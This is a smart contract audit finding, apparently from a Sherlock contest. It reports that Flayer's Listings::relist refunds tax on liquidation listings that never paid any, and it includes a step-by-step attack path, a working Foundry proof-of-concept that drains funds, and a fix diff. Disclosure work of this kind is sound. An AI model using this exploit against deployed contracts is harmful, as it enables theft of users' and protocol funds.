Raspy Raspberry Tapir

High

# Stealing of tax refunds via relisting liquidated protected listings

### Summary

In the `Listings` token there is the notion of a _tax refund_: a certain tax is taken from the listing creator, and the unused tax is is returned when the listing is e.g. canceled or relisted. _Protected listings_ enter the `Listings` contract via a different route: via function [createLiquidationListing](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L178-L208) which creates a dutch listing instead of the liquidated protected listing. As this is an internal function, triggered from `ProtectedListings` contract, no tax is paid. This special condition (no tax paid, and no refund issued, is accounted for in all functions that modify listings, with one exception: function [relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) treats any listing as the standard one, and issues a tax refund.

The attacker can exploit this vulnerability by repeatedly creating a protected listing, then liquidating it, relisting the created dutch listing (thus receiving a tax refund for a tax which was never paid), and canceling the listing. As a result, the attacker receives ~ `0.05 ether` of any collection token from each attack iteration. The attack can be repeated indefinitely with any NFT token from any collection, stealing `0.05 ether` from the collection token each time, until the contract is drained completely.

### Root Cause

Function [Listings::relist](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672) unconditionally issues a tax refund, for any listing, not accounting for the special condition of a liquidation listing:

```solidity
// We can process a tax refund for the existing listing
(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
if (_fees != 0) {
    emit ListingFeeCaptured(_collection, _tokenId, _fees);
}
```

It's worth contrasting the above fragment with a similar one from [Listings::reserve](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L707-L713), which accounts for the special condition correctly:

```solidity
// We can process a tax refund for the existing listing if it isn't a liquidation
if (!_isLiquidation[_collection][_tokenId]) {
    (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
    if (_fees != 0) {
        emit ListingFeeCaptured(_collection, _tokenId, _fees);
    }
}
```

### Internal pre-conditions

none

### External pre-conditions

none

### Attack Path

1. The attacker controls 2 addresses, `owner` and `buyer`: `owner` holds 1 NFT token, and `buyer` has `4 ether` of the corresponding collection token
2. The Attacker creates a protected listing for the NFT token as `owner`
    - `owner` receives `0.95 ether` of the collection token
3. The attacker waits for the next block (warp forward by at least 1 second)
   - the listing can now be liquidated
4. The attacker triggers protected listing liquidation as `buyer`
   - `buyer` receives `0.05 ether` as the liquidation keeper
   - At that point the attacker holds `5 ether` of collection token in two accounts
   - Protected listing is deleted; and standard dutch listing is created instead with `owner` as the listing owner
5. The attacker relists the token as liquid listing from the `buyer` account
   - `owner` receives additionally `3 ether` from relisting
   - `owner` also receives ~`0.5 ether` of the tax refund in escrow, _as if it was paid when the listing was created_
   - _Because the listing was created from the protected listing liquidation, the tax was never paid_
6. The attacker cancels the listing from the `buyer` account, and receives the refund, as usual. The final state is reached; the attacker holds:
   - the same NFT (in the `buyer` account)
   - the same 4 ether of the collection token (`3.95 ether` in the `owner` account, and `0.05 ether` in the `buyer` account)
   - ~ `0.05 ether` of the stolen tax refund in the `owner` escrow account.

The attack can be repeated indefinitely with any NFT token from any collection, stealing `0.05 ether` from the collection token each time, until the contract is drained completely.


### Impact

Definite loss of funds: complete draining of `Listings` balance in collection token from any NFT collection, via repetitive execution of the attack.

### PoC

Place the below test in [ProtectedListings.t.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/test/ProtectedListings.t.sol#L820) and execute via `forge test --match-test test_StealTaxRefundViaRelistingLiquidatedProtectedListing`

```solidity
function test_StealTaxRefundViaRelistingLiquidatedProtectedListing() public {
    uint _tokenId = 0;
    ICollectionToken token = locker.collectionToken(address(erc721a));

    // The attacker controls 2 addresses: _owner and _buyer
    address payable _owner = users[1];
    address _buyer = address(10);

    // 1. Set the stage
    erc721a.mint(_owner, _tokenId);
    deal(address(token), _buyer, 4 ether);

    // The attacker starts with 1 NFT token, 4 ether of the collection token
    // and no tokens in the listings escrow
    assertEq(erc721a.ownerOf(_tokenId), _owner, 'Owner holds our NFT token');
    assertEq(token.balanceOf(_owner), 0, 'Owner has no collection tokens initially');
    assertEq(token.balanceOf(_buyer), 4 ether, 'Buyer has 4 collection tokens initially');
    assertEq(listings.balances(_owner, address(token)), 0, 'Owner has no escrow');
    assertEq(listings.balances(_buyer, address(token)), 0, 'Buyer has no escrow');

    // 2. The Attacker creates a protected listing as _owner, and receives 0.95 ether
    vm.startPrank(_owner);
    erc721a.approve(address(protectedListings), _tokenId);
    _createProtectedListing({
        _listing: IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(_tokenId),
            listing: IProtectedListings.ProtectedListing({
                owner: _owner,
                tokenTaken: 0.95 ether,
                checkpoint: 0
            })
        })
    });
    vm.stopPrank();

    // Confirm token balances
    assertEq(token.balanceOf(_owner), 0.95 ether, 'Owner has 0.95 ether from protected listing');
    assertEq(token.balanceOf(address(protectedListings)), 0.05 ether, 'ProtectedListings has 0.05 ether');

    // 3. Warp forward 1 second; the listing can now be liquidated
    vm.warp(block.timestamp + 1);
    assertLt(protectedListings.getProtectedListingHealth(address(erc721a), _tokenId), 0);


    // 4. The attacker triggers liquidation as _buyer
    vm.startPrank(_buyer);
    protectedListings.liquidateProtectedListing(address(erc721a), _tokenId);


    // Confirm that the buyer receives 0.05 ether as the liquidation keeper
    assertEq(token.balanceOf(_buyer), 4.05 ether, 'Buyer has 0.05 ether additionally as keeper');
    assertEq(token.balanceOf(_owner), 0.95 ether, 'Owner still has 0.95 ether from protected listing');

    // At that point the attacker holds 5 ether of collection token in two accounts

    // Confirm that the listing is created and is dutching with the expected parameters
    IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);
    assertEq(_listing.owner, _owner);
    assertEq(_listing.duration, 4 days);
    assertEq(_listing.floorMultiple, 400);

    assertEq(listings.balances(_owner, address(token)), 0, 'Invalid lister escrow');

    // 5. The attacker relists the token as liquid listing
    locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);
    listings.relist({
        _listing: IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(_tokenId),
            listing: IListings.Listing({
                owner: payable(_buyer),
                created: uint40(block.timestamp),
                duration: 7 days,
                floorMultiple: 400
            })
        }),
        _payTaxWithEscrow: false
    });

    // Confirm that the listing is created and is liquid as expected
    _listing = listings.listings(address(erc721a), _tokenId);
    assertEq(_listing.owner, _buyer);
    assertEq(_listing.duration, 7 days);
    assertEq(_listing.floorMultiple, 400);

    // The _owner receives additionally 3 ether from relisting
    assertEq(token.balanceOf(_owner), 3.95 ether, 'Owner has 3 ether more from relisting');
    // The _owner also receives additionally ~0.05 ether tax refund, which they didn't pay
    assertGt(listings.balances(_owner, address(token)), 0.05 ether, 'Tax refund of 0.05 ether is stolen');

    // 6. The _buyer cancels the listing, and receives the refund, as usual
    listings.cancelListings(address(erc721a), _tokenIdToArray(_tokenId), false);
    
    // The final state: 
    // the attacker holds the same NFT, the same 4 ether of collection token
    // plus ~0.05 ether of the stolen tax refund.
    assertEq(erc721a.ownerOf(_tokenId), _buyer, 'Mow buyer holds our NFT token');
    assertEq(token.balanceOf(_owner), 3.95 ether, 'Owner has 3.95 ether tokens');
    assertEq(token.balanceOf(_buyer), 0.05 ether, 'Buyer has 0.05 ether tokens');
    assertGt(listings.balances(_owner, address(token)), 0.05 ether, 'Owner has 0.05 ether of stolen refund in escrow');
    assertEq(listings.balances(_buyer, address(token)), 0, 'Buyer has no escrow');

    // From that point on the attack can be repeated indefinitely,
    // stealing 0.05 ether each time, until the contract is drained completely.
}
```

### Mitigation

```diff
diff --git a/flayer/src/contracts/Listings.sol b/flayer/src/contracts/Listings.sol
index eb39e7a..7e586ee 100644
--- a/flayer/src/contracts/Listings.sol
+++ b/flayer/src/contracts/Listings.sol
@@ -640,10 +640,12 @@ contract Listings is IListings, Ownable, ReentrancyGuard, TokenEscrow {
         (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
         if (!isAvailable) revert ListingNotAvailable();
 
-        // We can process a tax refund for the existing listing
-        (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
-        if (_fees != 0) {
-            emit ListingFeeCaptured(_collection, _tokenId, _fees);
+        // We can process a tax refund for the existing listing if it isn't a liquidation
+        if (!_isLiquidation[_collection][_tokenId]) {
+            (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+            if (_fees != 0) {
+                emit ListingFeeCaptured(_collection, _tokenId, _fees);
+            }
         }
 
         // Find the underlying {CollectionToken} attached to our collection
```